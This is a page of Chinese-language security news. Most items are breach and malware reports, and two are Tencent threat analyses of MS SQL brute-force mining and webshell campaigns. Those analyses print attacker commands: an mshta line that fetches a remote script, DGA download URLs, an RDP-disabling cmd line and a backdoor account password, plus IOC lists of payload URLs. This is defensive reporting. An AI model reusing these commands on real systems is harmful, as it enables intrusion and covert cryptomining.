分类: 黑客事件

Magento Marketplace 数据遭到泄露,用户信息被出售

如果你曾经在Magento官方市场上注册过一个帐户来购买或出售任何扩展程序,插件或电子商务网站主题,那么你现在要立刻修改你的密码了。 拥有Magento电子商务平台的公司Adobe今天公布了一项新的数据泄露事件,Magento Marketplace 用户的帐户信息被暴露给了黑客。 据该公司称,黑客利用了其网站上一个未公开的漏洞,并用未经授权的第三方身份访问数据库并获取了注册用户的信息,包括客户(买方)和开发人员(卖方)。 数据库中的信息包括受影响的用户的姓名,电子邮件地址,MageID,账单和送货地址信息以及一些商业信息。 尽管Adobe没有透露或者可能他们也不知道Magento市场何时遭到的攻击,但该公司已经确认其安全团队于11月21日发现了这一漏洞。 除此之外,Adobe还保证,黑客无法破坏Magento的核心产品和服务,也就是说黑客无法通过访问Marketplace上托管的主题和插件来添加任何后门或恶意代码,用户可以安全下载。 “ 11月21日,我们发现了Magento Marketplace的漏洞。我们当时暂时关闭了Magento Marketplace以解决此问题。目前Marketplace已经重新上线。此次事件并未影响任何Magento核心产品或服务的运行” ,Adobe商务产品和平台副总裁Jason Woosley 发表声明说。 Adobe没有透露受影响的用户和开发人员的数量,但它已经开始通过电子邮件通知受影响的客户。 尽管Adobe并未明确提及帐户密码也已泄露,但他们仍然建议用户更改该密码,如果用户在其他网站使用了相同的密码,最好也对这些密码进行更改。   消息来源:TheHackerNews, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

微软披露恶意挖矿软件 Dexphot 完整信息:全球已有 8 万台设备受感染

微软安全工程团队今天披露了新型恶意程序Dexphot的完整信息,它主要劫持感染设备的资源来挖掘加密货币,并为攻击者牟利。微软表示自2018年10月以来不断有Windows设备受到感染,并在今年6月中旬达到峰值达到80000多台,微软通过部署相关策略以提高检测率和阻止攻击,随后每天感染的设备数量缓慢下降。 虽然Dexphot的最终目的就是利用受害者设备资源来挖掘加密货币,但是该恶意软件的复杂性非常高,其作案手法和技术也非常特别。微软Defender ATP研究团队的恶意软件分析师Hazel Kim说:“ Dexphot不是引起主流媒体关注的攻击类型。”他指的是恶意软件主要是为了挖掘加密货币的,而不是窃取用户数据。 Kim继续说道:“这是在任何特定时间都活跃的无数恶意软件活动之一。它的目标是在网络犯罪分子中非常普遍,就是安装一个窃取计算机资源的程序,通过挖矿为攻击者创造收入。然而,Dexphot是采用了远超日常威胁的复杂程度和发展速度,主要是为了绕开各种安全软件的保护非法牟利。” 在与ZDNet共享的一份报告中,Kim详细介绍了Dexphot的高级技术,例如,使用无文件执行,多态技术以及智能和冗余启动持久性机制。根据Microsoft的说法,Dexphot被安全研究人员称之为“第二阶段有效负载”,这是一种已经投放到已经被其他恶意软件感染的系统上的恶意软件。   (稿源:cnBeta,封面源自网络。)

针对 SQL 弱口令的爆破攻击再度袭来,KingMiner 矿工已控制上万台设备

感谢腾讯御见威胁情报中心来稿! 原文:https://mp.weixin.qq.com/s/ZothuAaH-r1xH6HFUbz–A   一、背景 腾讯安全御见威胁情报中心检测到KingMiner变种攻击,KingMiner是一种针对Windows服务器MS SQL进行爆破攻击的门罗币挖矿木马。该木马最早于2018年6月中旬首次出现,并在随后迅速发布了两个改进版本。攻击者采用了多种逃避技术来绕过虚拟机环境和安全检测,导致一些反病毒引擎无法准确检测。 当前版本KingMiner具有以下特点: 1.针对MSSQL进行爆破攻击入侵; 2.利用WMI定时器和Windows计划任务进行持久化攻击; 3.关闭存在CVE-2019-0708漏洞机器上RDP服务,防止其他挖矿团伙入侵,以独占服务器资源挖矿; 4.使用base64和特定编码的XML、TXT、PNG文件来加密木马程序; 5.利用微软和多个知名厂商的签名文件作为父进程,“白+黑”启动木马DLL。 根据腾讯安全御见威胁情报中心统计数据,KingMiner影响超过一万台电脑,其中受影响最严重的地区为广东、重庆、北京、上海等地。 二、详细分析 KingMiner在MS SQL爆破入侵成功后,首先执行一段VBS脚本(tl.txt/vk.txt),检测操作系统版本,并根据不同的系统版本下载不同的Payload文件,利用下载的文件进行提权以及门罗币挖矿。同时还会安装WMI定时器和Windows计划任务来反复执行指定脚本,执行服务器返回的恶意代码达到持久化攻击的目的。 KingMiner变种攻击流程 提权 vk.txt从http[:]// w.30713fdae.tk/32tl.zip下载经过base64编码的二进制blob文件,经过解码后保存为C:\Users\Public\Downloads\<random>\tool.exe tool.exe利用Windows权限提升漏洞CVE-2019-0803进行攻击,成功利用此漏洞的攻击者可以在内核模式下运行任意代码,然后可以安装程序;查看、更改或删除数据;或创建具有完全用户权限的新帐户。 tool.exe在特权模式下执行命令 mshta.exe vbscript:GetObject(\"script:http[:]//aa.30583fdae.tk/r1.txt\")(window.close) 通过mshta.exe执行脚本r1.txt来进行持久化。 持久化 计时器(每15分钟执行一次VBS脚本) r1.txt配置名为WindowsSystemUpdate _WMITimer的计时器,并将执行一段脚本代码的事件消费者WindowsSystemUpdate_consumer通过事件过滤器WindowsSystemUpdate_filter绑定到计时器,从而通过计时器每15分钟执行一次下面的VBS脚本代码: 这段VBS代码根据不同情况采取两种方法生成URL,接着通过访问生成的URL下载第二阶段的Payload运行。 1.URL由IP地址转化为ASCII后拼接而成 脚本运行nslookup命令查询C&C域名news.g23thr.com的DNS记录,当news.g23thr.com解析的IP地址为xxx.xxx.xxx.120,则访问URL “http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/mgxbox.txt” 2.URL由与时间相关的DGA域名拼接而成 当查询DNS返回IP不符合指定格式,则DGA域名通过当前时间的年、月、日、分钟、秒数值计算得到,算法如下: u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"url = "http://"&minute(now())&second(now())&"."&u&"/mgxbox.txt" 计划任务 r1.txt通过RegisterTaskDefinition创建名为WindowsMonitor的计划任务,每15分钟执行一次如下脚本;或者安装触发条件为系统启动的计划任务WindowsHelper,并在WindowsHelper触发后再次安装WindowsMonitor定时任务执行同一段脚本: 计划任务最终执行的脚本如下: 计划任务执行的VBS脚本与WMITimer执行的脚本类似,通过DNS查询返回的数据,或者获取时间转换后生成的DGA域名拼接URL,执行访问URL后返回的代码。 url=“http://”+chr(xxx)+chr(xxx)+chr(xxx)+”xfghh.com/pow.txt” 或者 u =(hex((year(now())-2000)&Month(now())&(day(now())\7)&(year(now())-2000)))&"fdae.tk"url = "http://"&minute(now())&second(now())&"."&u&"/pow.txt" 当前访问url返回的代码如下: CreateObject("WScript.Shell").Run "cmd /c ver |findstr ""5.0 5.1 5.2 6.0 6.1""&&wmic qfe GET hotfixid |findstr /i ""kb4499175 kb4500331 KB4499149 KB4499180 KB4499164""||wmic RDTOGGLE WHERE ServerName='%COMPUTERNAME%' call SetAllowTSConnections 0",0,False 返回代码的功能为: 获取计算机版本,并判断计算机版本是否受CVE-2019-0708漏洞的影响,且计算机是否安装特定补丁(kb4499175、kb4500331、KB4499149、KB4499180、KB4499164为微软发布的CVE-2019-0708远程桌面服务远程代码执行漏洞的补丁号)。 如果没有安装补丁,则修改设置禁止其他机器通过远程桌面服务访问本机,通过这种方式来阻止其他木马进入系统,从而达到独占挖矿资源的目的。 挖矿 vbs脚本tl.txt从http[:]// w.30713fdae.tk/32a1.zip下载经过base64编码的二进制blob文件。 文件解码并解压后保存至C:\Users\Public\Downloads\<random>\目录下,其中<random>为取当前时间“年月日时分秒”格式生成的字符。 alger.exe为微软系统文件credwiz.exed,功能描述为Credential Backup and Restore Wizard(凭据备份和还原向导),该程序在启动后自动加载系统DLL文件duer.dll并调用其导出函数InitGadgets()。 除了微软系统文件外,KingMiner在挖矿木马的“白+黑”启动过程中还利用了多个知名公司的含数字签名的文件来逃避杀软检测,利用正常的有数字签名的白文件来调用恶意dll。 目前发现的包括以下数字签名的文件被利用: “GuangZhou KuGou Computer Technology Co.,Ltd.” “Google Inc” “福建创意嘉和软件有限公司” 32a1.zip/64a1.zip解压后在同一目录下释放受信任的系统文件alger.exe(credwiz.exed)和恶意的duer.dll,利用alger.exe加载duer.dll并调用其导出的InitGadgets(),从而在InitGadgets()中解密保存在同目录下的x.txt或x/y/z.png中的XMRig挖矿程序代码,并启动门罗币挖矿过程。 三、安全建议 我们建议企业针对KingMiner挖矿木马的技术特点采取针对性的防御措施: 1.根据微软官方公告修复特权提升漏洞CVE-2019-0803: https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2019-0803 2、加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿继续使用弱口令,特别是sa账号密码,防止黑客暴力破解。 3、修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。 4、企业用户可在服务器部署腾讯御点终端安全管理系统,从而防范此类攻击。 5、推荐企业使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html) 腾讯御界检测到针对SQL服务器的爆破攻击 IOCs @KingMiner IP 107.154.161.209 107.154.158.39 Domain q.112adfdae.tk q.30583fdae.tk aa.30583fdae.tk w.30713fdae.tk a.1b051fdae.tk news.g23thr.com a.qwerr.ga w.ddff1.tk Md5 duser.dll 20e502ff977b336d9e7785186b16c68a 78b56b92c2e7a42520fb99a84d78cf92 active_desktop_render_x64.dll 21048ff02894656b5b24d4ed3c8a2882 goopdate.dll 7def058c5d2acb660f394d04b4698580 soundbox.dll 88a5c4645c2a9d0481fd0a846e49b773 64tl.zip be45959bc043a4fe88351cd03289f240 64a1.zip 4d910cb71c2f55bde48521f7ae062da4 32a1.zip 465373b74d163028add70f0d2b0966d0 23ef4da80f6985a78c4a59467ac4612f 32tl.zip e09947875b4722aab067c4d0c4b30384 r1.txt 21cb01553d92bee4fefc0069db1fd5ea c568d6028735cdc2a1ddd3c01f14ca80 tl.txt b0ab674b842822358be8cd5f6dc91554 vk.txt e3accf5a6f58932e56192bfbcbf0804c c874dbb6bf3664990b57d07d7d220ee6 n.txt 2b702a22963448c164db26807a308d50 pow.txt/mgxbox.txt 03d24675d4de12bcd076e7eff213a8a4 htak.txt 5fd47b2be01004e41290bf7658c7ad5a tool.exe 4899762134c0d2d8fbbaecc289a0c74e URL http[:]//4056.309cffdae.tk/vk.txt http[:]//3023.309cffdae.tk/vk.txt http[:]//5311.1d28ebfdae.com/pow.txt http[:]//3843.1d28ebfdae.com/pow.txt http[:]//5921.1d28ebfdae.com/mgxbox.txt http[:]//ww33.3096bfdae.com/32a1.cab http[:]//ww33.3096bfdae.com/64a1.cab http[:]//a.qwerr.ga/32a.zip http[:]//a.qwerr.ga/64f.zip http[:]//aa.30583fdae.tk/r1.txt http[:]//aa.30583fdae.tk/tl.txt http[:]//aa.30583fdae.tk/r1.txt http[:]//q.30583fdae.tk/32tl.zip http[:]//q.30583fdae.tk/64tl.zip http[:]//q.30583fdae.tk/64a1.zip http[:]//q.30583fdae.tk/32a1.zip http[:]//w.30713fdae.tk/vyk.txt http[:]//w.30713fdae.tk/64a1.zip http[:]//w.30713fdae.tk/32a1.zip http[:]//w.ddff1.tk/32a1.zip http[:]//w.ddff1.tk/64a1.zip 矿池: 95.179.131.54:9761 w.homewrt.com:9761 钱包: 49EHNacRauzgz8cGouhrVChcLyF3XrGLAdWiczJxY1qpX3oed4cGgMUUHHhyR7taGJ1MtvpfJiDf9gugAko4MzXM9DRYzZ1 参考链接: https://research.checkpoint.com/2018/kingminer-the-new-and-improved-cryptojacker/

勒索软件渗透纽约警察局的指纹数据库 导致系统关闭

据外媒Softpedia报道,在一个承包商连接到网络以配置数字显示器后,勒索软件感染了运行纽约警察局(NYPD)指纹数据库的计算机。该事件发生在2018年10月,导致NYPD在总共23台计算机上发现感染后,关闭了LiveScan指纹跟踪系统。但是,该部门官员声称该感染“从未执行”,这意味着勒索软件没有造成任何损害,但是NYPD出于谨慎考虑而决定使该系统关闭。 NYPD官员在接受《纽约邮报》采访时表示,该软件已重新安装在200台计算机上,并且指纹数据库于第二天早上恢复上线。NYPD负责信息技术的副局长Jessica Tisch表示:“我们想深入了解这一点。对于我们来说,深入了解这一点真的很重要。到周六清晨—我记得它仍然尚未恢复—我们正在使系统上线。” 勒索软件通常会锁定文件的访问权限,直到受害者支付解密密钥的费用为止。当承包商插入他们用来配置数字显示器的NUC微型PC时,该勒索软件便感染了NYPD网络。NYPD表示,他们确实对此事件对承包商提出了质疑,但未给予任何处罚。 此外,NYPD声称其网络中只有约0.1%的计算机受到了影响,而没有任何文件被锁定。该机构尚未共享有关感染背后的黑客团体,勒索软件和操作被感染设备的承包商的详细信息。 然而尽管NYPD已经避免了一场网络噩梦,但该部门网络中潜在的勒索软件感染可能会带来灾难性的影响。NYPD数据库还连接到更大的州级别自动指纹识别系统,该系统拥有大约700万个文件,如果被勒索软件感染可能会被锁定,并且在恢复之前可能将使系统连续数天保持脱机状态。   (稿源:cnBeta,封面源自网络。)

​黑客爆破攻击Sql Server,已控制数百台企业服务器和网站

感谢腾讯御见威胁情报中心来稿! 原文:腾讯御见威胁情报中心 一、概述 SQL爆破、提权攻击已成攻击者惯用伎俩,但仍有部分企业网管使用弱口令导致服务器被黑客操控。近日,腾讯安全御见威胁情报中心发现一起针对SQL数据库的爆破攻击事件,攻击成功后会根据系统环境下发远控木马、植入Webshell、在目标服务器创建管理员用户。本次攻击的失陷服务器已达数百台之多,主要受害者位于陕西、山西、吉林等地。 该木马的攻击行动具有如下特点 木马针对普通windows服务器下发TeamView实施远程控制,监测数据显示该木马已控制数百台服务器; 针对web服务器,木马植入webshell,已知有40多家网站共植入300余个Webshell; 木马会获取中毒主机的一般信息,包括:IP地址、操作系统版本、用户名、CPU、内存、磁盘、安全软件等基本信息,并将这些信息发送到远程服务器; 入侵成功后,会开启服务器的RDP服务(远程桌面服务),且会创建多个具有管理员权限的内置账户,方便远程登录。 二、详细分析 攻击者在HFS上的工具列表 从HFS列表可以看出,该团伙主要通过Mssql&mysql爆破,3389爆破,攻击成功后再利用提权工具进行提权,以mssql爆破工具进行分析 Start.bat启动扫描任务,并根据扫描结果进行爆破 Dhls.exe根据ip.txt中的IP列表扫描主机是否开放sql相关端口,接着使用CSQL.exe尝试爆破,其中user.txt,pass.txt分别是用户名和密码,爆破成功的IP会输出到out.txt中,接着CSQL中会对out.txt中机器进行远程命令执行,sql命令保存在2018.sql Sql命令结束杀软进程 向系统添加账户 SQLuser,sm$sm520 下载并执行team.exe 目前team.exe已经无法下载,无法得知里面具体功能,从攻击者的文件服务器上看,攻击者在爆破成功后会下发TeamView远程控制工具或webshell:hxxp://124.16.146.185:9000/tv.exe,并通过TVGET.exe程序获取到TeamView的用户ID和密码: 如果是web服务器,则会下发Webshell到c:/1.php,c:/1.asp,c:/1.aspx Webshell经过简单加密混淆,base64及字符压缩 解密后联网下载404.gif 404.gif中是一段被加密shell,通过gzinflate&base64_decode解密后可以得到一个完整的反弹木马。 首先会添加一个账户envl到系统中,方便后续远程登录 反弹链接的C2从cookie中获取反弹链接的C2从cookie中获取 在shell中也包含了用于执行mysql语句的shell 木马可对服务器web页面进行批量挂马 木马功能 目前腾讯安全御见威胁情报中心已监测到有40多家网站,300多个页面被植入该后门。 三、关联分析 追溯攻击中使用的webshell来自webshell8.com,号称免杀主流web护盾。 Webshell的界面 在攻击者发现HFS服务器被盯上后,竟在服务器上放置联系方式。 四、解决方案   加固SQL Server服务器,修补服务器安全漏洞。使用安全的密码策略,使用高强度密码,切勿使用弱口令,特别是sa账号密码,防止黑客暴力破解。 修改SQL Sever服务默认端口,在原始配置基础上更改默认1433端口设置,并且设置访问规则,拒绝1433端口探测。 企业用户可在服务器部署腾讯御点终端及时对服务器打补丁,防止这类木马利用windows提权漏洞,从而防范此类攻击。 推荐企业使用腾讯御界高级威胁检测系统检测未知黑客的各种可疑攻击行为。御界高级威胁检测系统,是基于腾讯反病毒实验室的安全能力、依托腾讯在云和端的海量数据,研发出的独特威胁情报和恶意检测模型系统。(https://s.tencent.com/product/gjwxjc/index.html)   腾讯御界检测到服务器遭遇爆破攻击 IOCs IP 124.218.92.68:9000 124.16.146.185:9000 123.15.33.19:9000 Domain phpapi.info tanlini.3322.org MD5 f1c4842de714e7480e69f41540c3626b e7c182ece6eceb6f89d6bd9a6d33c53e 5c0249cce6e5c500a54aa34ba2b8c282 c8a689d353b10ca90e88f3f7b4afa25f 78ff58ad4fe3c40e6f6945a2b0c79f36 a7419cf9e40501cfb2762623c5277857 f1f22dc294694ba7a727ea991f88c3a1 URL hxxp://phpapi.info/404.gif hxxp://123.15.33.19:9000/team.exe hxxp://124.16.146.185:9000/CVE2018.exe hxxp://124.16.146.185:9000/CVE-2018-8120.exe hxxp://124.16.146.185:9000/freeSSHd.exe hxxp://124.16.146.185:9000/go.bat hxxp://124.16.146.185:9000/HAdmin.exe hxxp://124.16.146.185:9000/K8UA.asxp hxxp://124.16.146.185:9000/lcx.exe hxxp://124.16.146.185:9000/mima.ps1 hxxp://124.16.146.185:9000/mimidrv.sys hxxp://124.16.146.185:9000/mimikatz.exe hxxp://124.16.146.185:9000/mimikatz_trunk.zip hxxp://124.16.146.185:9000/mimilib.dll hxxp://124.16.146.185:9000/nc.exe hxxp://124.16.146.185:9000/she.aspx hxxp://124.16.146.185:9000/she.php hxxp://124.16.146.185:9000/shell.asp hxxp://124.16.146.185:9000/task.exe hxxp://124.16.146.185:9000/tcp.exe hxxp://124.16.146.185:9000/team.exe hxxp://124.16.146.185:9000/TV_pweg.exe hxxp://124.16.146.185:9000/TVGET.exe hxxp://124.16.146.185:9000/TVs.exe hxxp://124.16.146.185:9000/wce.exe hxxp://124.16.146.185:9000/Welcome.txt hxxp://124.16.146.185:9000/x.mof hxxp://124.16.146.185:9000/xx.jpg

黑客盗取上万条 Disney+ 帐户并出售

黑客在Disney +启动数小时后便开始劫持用户帐户。许多帐户现在可以在黑客论坛上免费获得,或以3美元至11美元不等的价格出售。 接连不断的投诉 Disney +视频流媒体服务于11月12日启动。虽然只有美国,加拿大和荷兰可以享受Disney +服务,但其网站在开始的24小时内已经有超过1000万注册用户。 Disney +服务遇到了许多技术问题。许多用户报告他们喜欢的电影和节目无法播放。但在对技术问题的抱怨声中,还有一小部分用户报告无法访问其帐户。Twitter和Reddit等社交网络充斥着诸如此类的投诉。 许多用户报告说,黑客正在访问他们的帐户,将其从所有设备中注销,然后更改该帐户的电子邮件和密码,从而完全盗取了该帐户。 部分用户承认他们在其他网站使用了和Disney +帐户一样的密码,其他用户在网上说他们重新设置了密码。 这表明,在某些情况下,黑客可以使用在其他站点泄露的电子邮件和密码组合来访问帐户,而在其他情况下,Disney +密码可能是从感染了键盘记录或信息窃取恶意软件的用户那里获得的。 待售! 黑客将Disney +帐户货币化的速度令人震惊。服务启动后数小时内,帐户就在黑客论坛上出售。价格从每个帐户3美元到最高11美元不等——这比迪士尼合法的Disney +帐户的费用7美元还高。 Disney +可以做的是进行身份验证,这可以避免因为密码重用导致的攻击。 Disney +推出的目的在于与其他流媒体进行抗争。黑客论坛上充斥着被黑客入侵的Amazon Prime,Hulu和Netflix帐户。黑客仍然定期销售这些账户是因为一直有市场需求。 Disney +用户最好对帐户设置唯一的密码。这无法阻止设备上的恶意软件窃取密码,但可以防止黑客通过猜测密码窃取帐户。   消息来源:ZDNet, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

《Magic:The Gathering》开发商证实 安全漏洞使超 45 万玩家数据遭泄露

据外媒TechCrunch报道,游戏《Magic:The Gathering》的开发商 Wizards of the Coast已经确认,安全漏洞使数十万游戏玩家的数据遭泄露。该游戏开发商将数据库备份文件留在了公共的Amazon Web Services存储桶中。但是存储桶上没有密码,任何人都可以访问其中的文件。 据悉。自9月初以来,该存储桶就已经遭泄露。但是英国网络安全公司Fidus Information Security最近找到数据库并报告了此事。   对数据库文件的检查显示,其中包括有452634名玩家的信息,含与Wizards of the Coast员工相关的约470个电子邮件地址。该数据库包括玩家名称和用户名,电子邮件地址,以及创建帐户的日期和时间。该数据库还具有用户密码,这些密码经过哈希处理,因此很难但并非不可能被解密。没有数据被加密。根据外媒TechCrunch对数据的审查,这些帐户的日期至少可以追溯到2012年,但是一些最近的条目可以追溯到2018年年中。 Fidus联系Wizards of the Coast,但没有听到任何回应。直到TechCrunch与该公司取得之后,这家游戏制造商才将存储桶脱机。 该公司发言人Bruce Dugan在一份声明中对TechCrunch表示:“我们了解到,已被停止使用的网站上的数据库文件被无意间从公司外部访问了。”他表示:“我们从服务器上删除了数据库文件,并开始了调查以确定事件的范围。我们认为这是一起孤立事件,我们没有理由相信对数据进行了任何恶意使用,”但是发言人没有提供任何证据证明这一说法。 他表示:“但是,出于谨慎考虑,我们会通知玩家其信息已包含在数据库中,并要求他们在我们当前的系统上重置密码。” Fidus研发总监Harriet Lester表示:“在当今时代,错误的配置和缺乏基本的安全卫生措施仍然令人感到惊讶,尤其是当涉及到拥有超过45万个帐户用户的大型公司时。 ”“我们的研究团队不断工作,寻找诸如此类的错误配置,以尽快提醒公司,避免数据落入不法分子之手。这是我们帮助互联网更安全的小方法,”她告诉TechCrunch。 这家游戏机制造商表示,已根据欧洲GDPR法规的违规通知规则将有关泄露情况告知了英国数据保护部门。英国信息专员办公室没有立即回应此事。 对于违反GDPR的公司,可能会最高被处以相当于其全球年收入4%的罚款。   (稿源:cnBeta,封面源自网络。)

两名黑客通过 SIM 卡交换攻击窃取 55 万美元加密货币,随后被捕

  今年2月美国首次对 SIM卡交换攻击予以定罪,此后,美国司法部对多人提起诉讼,指控他们从受害者手中窃取数百万美元加密货币。 美国当局于周四从马萨诸塞州逮捕了涉嫌网络犯罪的黑客,并指控他们在2015年11月至2018年5月之间通过SIM卡交换攻击从至少10名受害者中窃取了55万美元的加密货币。 SIM交换或SIM劫持涉及到了移动电话提供商的社交服务。黑客假冒用户身份,要求提供商将电话号码移植到自己的SIM卡上。 一旦成功,攻击者就可以获取目标手机上的一次性密码,验证码和双重验证,以便重置密码并获得对用户的社交媒体,电子邮件,银行和加密货币帐户的访问权限。 黑客还针对加密货币公司的高管 根据起诉书,两名被告Eric Meiggs(20)和Declan Harrington(21)不仅攻击加密货币金额较高的用户,他们还通过攻击加密货币公司高管谋取巨额利润。 除此之外,两名被告还被指控盗取受害者的社交媒体帐户,其中包括两名“具有高价值或’OG’(’黑帮’的俚语)的社交媒体帐户”。 该二人已被控以11项指控,罪名是: ·串谋电汇欺诈 ·八项电汇欺诈罪 ·计算机欺诈和滥用罪 ·严重的身份盗窃罪 如果被判诈骗罪,这两名被告将面临最高20年监禁的处罚。同时,严重的身份盗窃指控最高可判处2年有期徒刑。 如何保护自己免受SIM卡交换攻击 在发生几次“ SIM卡交换”事件之后,美国联邦贸易委员会(FTC)于10月发布了准则列表,用户可以遵循这些准则来保护自己免受SIM交换攻击: 1.不要回复要求个人信息的电话,电子邮件或短信。 2.限制在线共享的个人信息。 3.设置账户PIN或密码。 4.对于具有敏感信息或财务信息的帐户建议使用更强的身份验证。 如果您遭遇了SIM卡交换攻击,可以采取一些抢救措施,例如: 1.立即联系您的服务提供商,举报欺诈行为并重新取回您的电话号码,并且立即更改您的帐户密码。 2.检查您的信用卡,银行和其他金融帐户是否被盗刷,如果发现任何损失,立马向银行报告。   消息来源:TheHackerNews, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

WhatsApp 存在新漏洞, 黑客可能秘密在你的设备上安装间谍软件

WhatsApp上个月悄悄修补了其应用程序中的一个关键漏洞,该漏洞可能使攻击者远程破坏目标设备并可能窃取存储在其中的安全聊天消息和文件。 旧的WhatsApp版本在解析MP4文件的基本流元数据的过程中会导致堆栈的缓冲区溢出。该漏洞(CVE-2019-11931)容易引发DoS攻击或远程执行代码的攻击。 如果想要远程利用此漏洞,攻击者需要的只是目标用户的电话号码,并通过WhatsApp向他们发送恶意制作的MP4文件,该文件最终可以在受感染的设备上静默安装恶意后门或间谍软件。 该漏洞影响所有主要平台(包括Google Android,Apple iOS和Microsoft Windows)的WhatsApp的消费者以及企业应用程序。 根据Facebook发布的报告,受影响的应用程序版本列表如下: 低于2.19.274的Android版本 低于2.19.100的iOS版本 低于2.25.3的企业客户端版本 包括2.18.368在内的Windows Phone版本 适用于Android 2.19.104之前版本的业务 适用于iOS 2.19.100之前版本的业务 目前,所有用户需要将WhatsApp更新至最新版本,并禁止从应用程序设置中自动下载图像,音频和视频文件。 WhatsApp告诉THN:“ WhatsApp一直在努力提高服务的安全性。我们针对已解决的潜在问题进行公开报告,并根据行业最佳实践进行了修复。在这种情况下,没有理由相信用户受到了影响。”   消息来源:TheHackerNews, 译者:r4938n,校审:吴烦恼 本文由 HackerNews.cc 翻译整理,封面来源于网络。 转载请注明“转自 HackerNews.cc ” 并附上原文链接

洛杉矶 DA 无故发布公共 USB 充电座可能感染恶意软件的警告

据外媒报道,南加州的官员发布了一份公告,宣布公共智能手机充电座并不安全。该机构认为便捷的USB充电接口可以使用户感染恶意软件。但是,目前没有实例可以指出发生这种情况的地方。周五洛杉矶地区检察官办公室警告旅行者不要使用公共USB充电座,因为这些设备可能会感染恶意软件,从而窃取数据或锁定手机。 “在USB充电器欺诈(通常称为“juice-jacking”)中,犯罪分子将恶意软件加载到充电座上,从而可能感染毫无戒心的用户的手机和其他电子设备。恶意软件可能会锁定设备或将数据和密码直接导出给欺诈者。” 洛杉矶地区检察官办公室承认其暂时没有遇到通过洛杉矶充电座感染某人设备的任何实例。它告诉TechCrunch,在美国东海岸有一些案件,但无法提供任何可以证实的细节,例如地点或日期。 此外,安全研究员Kevin Beaumont在一条推文中表示,他从未见过证据表明公共智能手机充电座使用了恶意软件。 但这并不是说不存在这种可能性。几位研究人员开发并展示了经过修改或克隆的充电器和充电电缆,它们可以远程“嗅探”数据或在设备上执行命令,但是这些仅仅是概念验证项目。 美国当局也不是第一次基于类似理由发布咨询。早在2016年,在安全研究员Samy Kamkar演示了他的KeySweeper概念验证后,FBI发出了警告。它是一个Arduino板,尺寸小到可以放入USB充电器的外壳,该充电器可以秘密地记录附近微软无线键盘的敲击数据。   (稿源:cnBeta,封面源自网络。)